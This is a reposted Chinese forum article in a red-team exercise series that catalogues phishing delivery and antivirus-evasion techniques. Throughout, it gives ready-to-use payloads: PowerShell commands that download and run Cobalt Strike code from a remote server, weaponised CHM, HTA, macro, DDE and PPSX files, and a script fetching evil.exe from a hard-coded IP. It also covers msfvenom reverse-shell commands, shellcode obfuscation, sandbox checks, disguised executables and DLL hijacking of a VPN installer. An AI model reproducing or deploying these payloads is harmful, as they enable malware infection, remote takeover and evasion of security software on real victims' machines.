安全矩阵

 找回密码
 立即注册
搜索
查看: 2778|回复: 0

【2022HVV系列】|9-红蓝对抗之钓鱼篇:常见钓鱼思路总结

[复制链接]

189

主题

191

帖子

903

积分

高级会员

Rank: 4

积分
903
发表于 2022-6-2 23:40:43 | 显示全部楼层 |阅读模式

原文链接:【2022HVV系列】|9-红蓝对抗之钓鱼篇:常见钓鱼思路总结 (qq.com)

目录

  1. 1、文档连接钓鱼
  2.   1)LINK链接钓鱼
  3.   2)LINK快捷方式钓鱼
  4.   3)CHM文档钓鱼
  5.   CHM文档bypass waf
  6.   4)HTA钓鱼
  7.   5)宏钓鱼
  8.   宏钓鱼 bypass waf
  9.   6)OLE(Object Linking and Embedding,对象链接与嵌入)
  10.   7)嵌入JS元素
  11.   8)利用模板文件注入宏指令
  12.   9)CVE
  13. 2、伪造界面钓鱼
  14.   1)PPT动作按钮特性构造 PPSX 钓鱼
  15. 3、exe等可执行文件
  16.   1)shellcode 异或加密免杀(golang)
  17.   2)shellcode转换免杀
  18.   3)shellcode编译免杀
  19.   4)shellcode分离加载免杀
  20.   5)绕过沙盒
  21.   6)exe伪装
  22.   7)绕过行为检测
  23.   8)DLL劫持+重新制作安装包
  24.   9)免杀思路
  25. 4、邮件钓鱼
  26. 5、flash钓鱼
  27. 6、网站钓鱼
复制代码

1、文档连接钓鱼1)LINK链接钓鱼首先说明一点:ftp加! 可以执行命令
编辑
首先创建一个ftp的快捷方式,然后新建一个文件名 aaa.dll ,然后内容为cs的后门恶意链接(powershell上线命令)
快捷方式的起始位置留空,目标为:C:\Winodws\System32\ftp.exe -""s:aaa.dll
快捷方式的图标以及名字可以进行适当的伪装
编辑
这里演示一下生成后门恶意链接
运行CS,根据图片点击:Scripted Wed Delivery(s)
编辑
主机地址为CS服务器端地址,监听使用之前的监听就可以,然后执行
编辑
这里就创建好了一个 powershell 的回连恶意链接 复制即可
编辑
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:80/a'))"但是如果直接第三方调用powershell加参的话会被360等拦截,所以要采用无参调用
编辑
2)LINK快捷方式钓鱼此方式与上述方式类似
首先查找后门绝对路径,可以提权后门的有很多文件,这里以 powershell.exe 进行演示
编辑
打开目录,找到路径为:
C:\Windows\System32\WindowsPowerShell\v1.0
生成后门恶意链接
编辑
编辑
编辑
创建 lnk 创建方式
将powershell恶意代码放入进行修改,将代码最前端添加绝对路径
编辑
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c "IEX ((new- object net.webclient).downloadstring('http://x.x.x.x:80/a'))"这里免杀的话,使用base64等等进行混淆
然后对该文件右键选择进行创建快捷方式,对快捷方式右键选择属性,在目标写入恶意回弹代码
编辑
可以对图标和名称进行适当的更改,之后就可以开始钓鱼了
3)CHM文档钓鱼使用 EasyCHM 可以轻松的新建一个 chm 文件
EasyCHM、Cobalt Strike、MyJSRat 钓鱼流程:制作html -> 制作chm文件 -> 伪装 -> 打开chm上线
首先创建个空文件夹
编辑
创建html文件,代码如下
  1. <html>
  2. <head>
  3. <title>Mousejack replay</title>
  4. </head>
  5. <body>
  6. command exec
  7. <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
  8. <PARAM name="Command" value="ShortCut">
  9. <PARAM name="Button" value="Bitmap::shortcut">
  10. <PARAM name="Item1" value=',calc.exe'>
  11. <PARAM name="Item2" value="273,1,1">
  12. </OBJECT>
  13. <SCRIPT>
  14. x.Click();
  15. </SCRIPT>
  16. </body>
  17. </html>
复制代码

编辑
注意:",payload",上面代码中为",calc.exe",此处,payload前面要加一个英文版的逗号,,否则打开chm文档时会出错
此处打开文档执行的calc,也就是计算器
Easy CHM制作CHM文档
新建工程
编辑
工程目录选择我们建立的test文件夹(html文件放在文件夹内)
编辑
编辑
点击编译 生成CHM
编辑
编辑
双击打开查看
编辑
弹出计算机
尝试使用 Cobalt Strike 木马 + CHM 上线
Cobalt Strike -> 点击attacks -> web Drive by -> scriped web Delivery
上文有详细步骤
编辑
设立好监听点击开始
编辑
然后将 calc.exe 替换为:
  1. <html>
  2. <head>
  3. <title>Mousejack replay</title>
  4. </head>
  5. <body>
  6. command exec
  7. <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
  8. <PARAM name="Command" value="ShortCut">
  9. <PARAM name="Button" value="Bitmap::shortcut">
  10. <PARAM name="Item1" value=",powershell.exe, -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:80/test'))">
  11. <PARAM name="Item2" value="273,1,1">
  12. </OBJECT>
  13. <SCRIPT>
  14. x.Click();
  15. </SCRIPT>
  16. </body>
  17. </html>
复制代码

编辑
注意:exe后面要再加一个英文版逗号,否则无法执行exe,再是注意生成出来的payload字符串的双引号跟单引号的冲突
再重新生成,查看是否上线
编辑
MyJSRat配合CHM进行上线
MyJSRat下载地址:https://github.com/Ridter/MyJSRat
python2运行下面的命令:
编辑
此处使用交互模式
python2 MyJSRat.py -i 192.168.27.180 -p 8080Kali Linux 运行访问
编辑
复制代码替换payload,记得加上逗号
  1. <html>
  2. <head>
  3. <title>Mousejack replay</title>
  4. </head>
  5. <body>
  6. command exec
  7. <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
  8. <PARAM name="Command" value="ShortCut">
  9. <PARAM name="Button" value="Bitmap::shortcut">
  10. <PARAM name="Item1" value=',rundll32.exe, javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.27.180:8081/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'>
  11. <PARAM name="Item2" value="273,1,1">
  12. </OBJECT>
  13. <SCRIPT>
  14. x.Click();
  15. </SCRIPT>
  16. </body>
  17. </html>
复制代码

然后重新生成CHM并且执行
编辑
在kali上可以进行命令交互
CHM内容伪装
先拿一个正常的CHM文档内容,转为html
通过hh命令,转为html
hh -decompile .[\\html](file://html) CSS2.0中文手册.chm
编辑
钓鱼html嵌入到 html/css2/c_color.html
编辑
编辑
工程目录选择css2
编辑
编辑
注意此处,一定要诱导用户点击到 c_color.html 模块才可以
CHM文档bypass waf(1)利用powershell无参运行,但是要把powershell脚本打包编译成chm,然后利用自带hh.exe 。hh.exe具有decompile(反编译,将chm返回成html,其实就类似chm可以比喻成一个压缩包,decompile是解压缩)的功能,可以将打包进chm的文件释放出来。
HH.EXE -decompile C:\Windows\Temp ./XMLconvert.chm
(2) CHM本身支持js(jscript)语法,可以利用c#写个弹shell的,然后利用利用DotNetToJScript转js,然后在把js混淆加密进行打包免杀,利用cscript或者wscript来执行js。类似的还有执行hta文件等等。
4)HTA钓鱼HTA 是 HTML Application 的缩写,直接将 HTML 保存成 HTA 的格式,是一个独立的应用软件。HTA虽然用HTML、JS和CSS编写,缺比普通网页权限大得多,它具有桌面程序的所有权限。就是一个 html 应用程序,双击就可以运行
正常是msf生成的hta文件弹shell,假设目标存在命令执行的漏洞,那么咱们在目标上执行如下即可返回msf的shell
mshta http://127.0.0.1:8080/xxx.hta
远程调用一般会被杀,最好本地运行
利用github开源项目可以绕过部分waf
https://github.com/mdsecactivebreach/CACTUSTORCH
编辑
5)宏钓鱼正常操作是利用cs生成宏代码,复制到vb里面去
然后显示的是宏被禁用,为了增强迷惑性,可以进行编辑一下
首先在word选项中开启开发工具
编辑
然后把宏打开
创建一个 test.doc
编辑
然后点击 Visual Basic
编辑
使用Cobalt Strike 生成木马
编辑
点击添加一个监听端口,注意:如果端口在防火墙上策略有误,则会导致反弹失败
编辑
编辑
将代码粘贴到刚才打开的地方
编辑
然后保存即可
doc格式和其它启用宏的模板的格式都可以
doc格式和原来格式的图标一样
运行文件,发现cs上线
编辑
可以使用EvilClippy进行免杀
https://github.com/outflanknl/EvilClippy
使用一个正常的vba文件和恶意文件来进行混淆,来躲避杀软检测
Excel文件也可以进行钓鱼
新建一个Excel,在左下角的sheet处右键单击,选择插入:
编辑
在弹出的对话框中选择 MS Excel 4.0 宏表,点击确定
编辑
完成之后左下角多了一栏 宏
编辑
分别在A1和A2输入
=exec("c:\windows\system32\cmd.exe")
=halt()
并将A1改为Auto_Open,修改完回车,这样就可以一打开文件就加载指令最后保存为xlsm后缀的文件
这里的exec其实是执行的cmd命令,我们可以借此来上线CS等操作
编辑
宏钓鱼 bypass waf(1)使用远程加载XSL文件达到免杀
https://github.com/sevagas/macro_pack
https://github.com/mdsecactivebreach/SharpShooter
(2)高级VBA宏免杀
参考 https://www.certego.net/en/news/advanced-vba-macros/
6)OLE(Object Linking and Embedding,对象链接与嵌入)是一种把一个文件嵌入到另一个文件中的技术
msfvenom -p windows/meterpreter/reverse_http lhost=ip lport=port -f vbs -o payload.vbs
在开源的 openoffice 中可以直接只有DDE函数,像 =DDE("cmd";"/C calc";"123") 这样调用。而在正规的office套件中则移除了DDE函数,但是我们还是可以使用application|topic!item这一格式的三元表达式调用DDe。
注意:该方法的提示窗口只提示 application 而不提示 topic
excel:(如果前缀是"="、"+" 或 "-",则将其余部分视为表达式)
=cmd|'/c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString("http://XXXX/getshell.ps1");IEX $e'!_xlbgnm.A1
word:
打开一个新的word文档,按下键盘的组合键 CTRL + F9 ,在文档中出现"{}"之后,将下面的这段代码复制到两个大括号之间
{ DDEAUTO c:\windows\system32\cmd.exe "/k calc.exe" }
msf中可直接用,生成一个rtf文档,点击即可上线
use exploit/windows/fileformat/office_dde_delivery
set lport 4444
set lhost xx.xx.xx.xx
7)嵌入JS元素这个方式的原理是,如果我们往word中插进联机视频,那么再word的压缩包 word/document.xml里的embeddedHtml项中会出现联机视频对应的内嵌html代码,我们可以通过修改这些代码,插入恶意js代码。
一般的利用方式是通过js下载恶意文件,但是似乎是因为word的一些保护机制,不能实现页面跳转或者自动点击下载等操作
  1. <html>
  2. <body>
  3. <script>
  4. var a = document.createElement('a');
  5. console.log(a);
  6. document.body.appendChild(a);
  7. a.style = 'display: none';
  8. a.href = "http://149.129.64.180/evil.exe";  //该行若存在,打开word文件会报错
  9. a.download = fileName;
  10. window.URL.revokeObjectURL(url);
  11. </script>
  12. <script>
  13. a.click();
  14. </script>
  15. </body>
  16. </html>
复制代码

8)利用模板文件注入宏指令原理是,先创建一个带模板的文档,再创一个启用宏的模板文件。然后在带模板的文档的压缩包里面修改一些内容,使其指向的模板修改为我们自己创建的模板文件,这之间的过程可以由smb协议完成,故过查杀几率较高。
我们在启用宏的模板文件(doc3.dotm)里写入宏。
Sub AutoOpen()Shell "calc"End Sub
编辑
9)CVEOffice历史上出现的可导致远程命令执行的漏洞有很多、如:CVE-2017-0199、CVE-2017-8570、CVE-2017-8759、CVE-2017-11882、CVE-2018-0802 等
CVE-2017-0199
https://github.com/bhdresh/CVE-2017-0199
影响版本:office 2016、2013、2010、2007
CVE-2017-11882
https://github.com/Ridter/CVE-2017-11882/
影响版本:office 2016、2013、2010、2007、2003
CVE-2018-0802
https://github.com/rxwx/CVE-2018-0802
影响版本:office 2016、2013 Server Pack1、2010 Server Pack2、2007 Server Pack3
2、伪造界面钓鱼1)PPT动作按钮特性构造 PPSX 钓鱼运行程序比如可以选用cs powershell 的代码。选择ppsx进行保存
编辑
然后弹出的窗口处
编辑
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:80/a'))"powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http:'+[char] 0x2F+[char] 0x2F+'cccn.nl'+[char] 0x2F+'c.php',\"$env:temp\ii.jse\"); Invoke-Item \"$env:temp\ii.jse\""然后将格式保存为ppsx格式保存即可 执行即可上线
3、exe等可执行文件1)shellcode 异或加密免杀(golang)利用 msfvenom 生成一段 shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp -f num LHOST=192.168.141.136 LPORT=1234
利用 golang ,将shellcode进行异或
编辑
进行编译(在windows进行编译)
go build xxx.go运行即可
也可以利用aes加密等等
编辑
2)shellcode转换免杀C#编译成exe -> exe -> 转js -> js混淆
参考文章: https://wtfsec.org/posts/%E5%85% ... %E5%AE%9E%E8%B7%B5/
利用DotNetToJScript转exe为js
https://github.com/tyranid/DotNetToJScript
编辑
3)shellcode编译免杀使用msf生成一个PHP马(也可以其他语言的,比如perl啥的)
msfvenom -a x86 --platform Windows -p php/meterpreter_reverse_tcp LHOST=<Your IP Address>LPORT=<Your Port to Connect On>-f raw > shell.php
利用bamcompile将php转为exe
bamcompile -w -c shell.php shell.exe
4)shellcode分离加载免杀分离一般分2种,一个是远程加载shellcode,另外是通过运行程序的时候将加密数据传入
远程加载可以利用socket创建套接字或者直接http请求远程地址,钓鱼的时候可以将shellcode放在使用说明啥的
shellcode loader github开源项目很多
编辑
5)绕过沙盒主要思想:判断父进程是否为Debugger:在沙盒内被调试
判断时间是否被加速:一般沙盒内的程序时间都会加速
判断系统盘是否大于50GB:一个正常的PC的系统盘都会大于50GB
虚拟机其他特征
https://github.com/dycsy/ShellcodeLoader
https://github.com/1y0n/AV_Evasion_Tool
编辑
编辑
6)exe伪装1、图标伪装
这里使用 Restorator 2018 小工具进行图标修改
http://www.pc6.com/softview/SoftView_585736.html
激活将附带的激活码填入即可
然后使用 Restorator 修改图标
直接点击exe文件拖入即可,如果没有图标文本的话,可以在电脑找一个exe格式的图标拖入,然后显示图标后复制过来即可
图标的话需要ico格式
https://www.easyicon.net/iconsearch/⾳乐ico/
http://www.bitbug.net/在线制作ico图标
在这⾥下载图标,并在bitbug转换格式即可!
编辑
更改图标直接再图标处右键导入
2、RTLO
通过重命名,在a后面右键,插入Unicode控制字符 -> RLO
编辑
编辑
编辑
实测钓鱼方式有些古老,不管是不是病毒只要使用此方式伪装,360都会查杀
3、rar解压自运行
木马文件:artifact.exe 迷惑文件:calc.exe
进入winrar,选中这两个文件,右键添加至压缩包,创建自解压格式压缩文件
编辑
高级 -> 自解压选项 -> 设置
提取前打开伪装文件,提取后运行马
编辑
模式 -> 全部隐藏
编辑
更新 -> 解压并更新文件,覆盖所有文件
编辑
双击可以打开计算机,CS上线
编辑
7)绕过行为检测部分敏感行为可操作windowsAPI
比如360对添加用户会拦截
可以操作以下两个API绕过
NetUserAdd
NetLocalGroupAddMembers
其他的免杀还有内存(一般可用壳,但大多基本壳都在waf的特征库中)、花指令等等
8)DLL劫持+重新制作安装包DLL劫持指的是病毒通过一些手段来劫持或者替换正常的DLL,欺骗正常程序预先准备好的恶意DLL
如下面图片中的,LPK.dll是应用程序运行所需要加载的DLL,该系统文件默认在C:\Winodws\system32路径下,但由于windows优先搜索当前路径,所以当我们把恶意LPK.dll放在应用程序同一路径下,便会被程序成功加载,从而执行恶意操作
编辑
在蓝队可以利用此方法反制红队,例如在准备好的虚拟机中点击红队的钓鱼邮件,并准备一些让红队感兴趣的东西
比如梯子的安装包以及梯子的账号密码
这里可能会用到拿破轮胎大佬写的DLL注入工具
编辑
使用方法:
1.输入CS或者msf生成的shellcode生成免杀DLL文件
2.添加需要劫持的软件或者dll
3.劫持过后会在运行目录生成一个DLL和配置文件
4.需要把两个文件放在被劫持的软件同目录下才可以运行
注意:
本文采用EasyConnectInstaller做测试,使用其他软件测试的话,可以使用Process Monitor来对系统进程进行监控,找到系统程序调用DLL的情况
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procmon
参考文章:
https://blog.csdn.net/weixin_35771144/article/details/111056447
使用CS生成shellcode
编辑
编辑
把shellcode放入工具然后生成dll即可
编辑
选择DLL处选择生成的DLL
编辑
注入目标为
C:\Program Files (x86)\Sangfor\SSL\SangforCSClient 下的
编辑
注入到注册表后,将 wwwcomw.dll 和 conf.inf 放入到软件目录下
编辑
然后运行即可上线
然后接下来使用NSIS重新制作安装包
使用NSIS制作安装包可以参考: https://www.cnblogs.com/modou/p/3573772.html
编辑
9)免杀思路1、CS生成exe的payload
2、exe-payload 放置公网服务器
3、再CS生成python-payload
4、将python-payload转base64值
5、base64值的payload再用序列化转码
6、序列化转码后的payload再用反序列化转码
7、转成反序列化后的payload再用python3的tinyaes混淆
8、混淆完再用另外的东西加壳成对方环境执行的文件类型即可
可以查查掩日
最终形成的文件类型,执行的原理仅仅是运行下载公网服务器第一步上次的payload并运行
GoFildBinder
https://github.com/Yihsiwei/GoFileBinder
golang免杀捆绑器 捆绑器免杀效果会持续更新下去
使用以下命令进行捆绑器编译
go build GoFileBinder.go
使用以下命令生成捆绑文件(注:GoFileBinder.exe单独放入一个文件夹中)
GoFileBinder.exe 木马.exe xxx.txt
也可以尝试使用kali自带的upx
4、邮件钓鱼包含邮件服务器相关环境搭建,邮件信息收集,参考:
https://www.freebuf.com/articles/web/260391.html
5、flash钓鱼源码: https://github.com/r00tSe7en/Fake-flash.cn
尝试自解压或者配合捆绑
6、网站钓鱼制作钓鱼网站,克隆网站
cs,msf 都有这个功能
setoolkit

本文作者:YLion, 转载请注明来自FreeBuf.COM

————————————————
【2022HVV系列】|9-红蓝对抗-红队打点的那些事
【2022HVV系列】|8-应急响应之入侵排查
【2022HVV系列】|7-Windows主机入侵痕迹排查办法
【2022HVV系列】|6-记一次hw中的上线骚姿势(异速联+用友U8)
【2022HVV系列】|5-记一次溯源过程
【2022HVV系列】|4-红蓝对抗 | 红队打点的那些事
【2022HVV系列】|3-服务器入侵排查
【2022HVV系列】| 2-应急响应常用工具
【2022HVV系列】| 1-应急响应方法论思维导图

————————————————

【Hacking黑白红】,一线渗透攻防实战交流公众号
编辑

回复“电子书”获取web渗透、CTF电子书:
回复“视频教程”获取渗透测试视频教程;  
回复“内网书籍”获取内网学习书籍;        
回复“CTF工具”获取渗透、CTF全套工具;
回复“内网渗透”;获取内网渗透资料;
回复“护网”;获取护网学习资料 ;
回复“python”,获取python视频教程;
回复“java”,获取Java视频教程;
回复“go”,获取go视频教程

知识星球

【Hacking藏经阁】知识星球致力于分享技术认知
1、技术方面。主攻渗透测试(web和内网)、CTF比赛、逆向、护网行动等;
400G渗透教学视频、80多本安全类电子书、50个渗透靶场(资料主要来自本人总结、以及学习过程中购买的课程)
2、认知方面。副业经营、人设IP打造,具体点公众号运营、抖*yin等自媒体运营(目前主要在运营两个平台4个号)。

如果你也想像我一样,不想35岁以后被动的去面试,那么加入星球我们一起成长。




编辑

欢迎加入99米/年,平均每天2毛7分钱,学习网络安全一整年。

编辑

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 17:03 , Processed in 0.018965 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表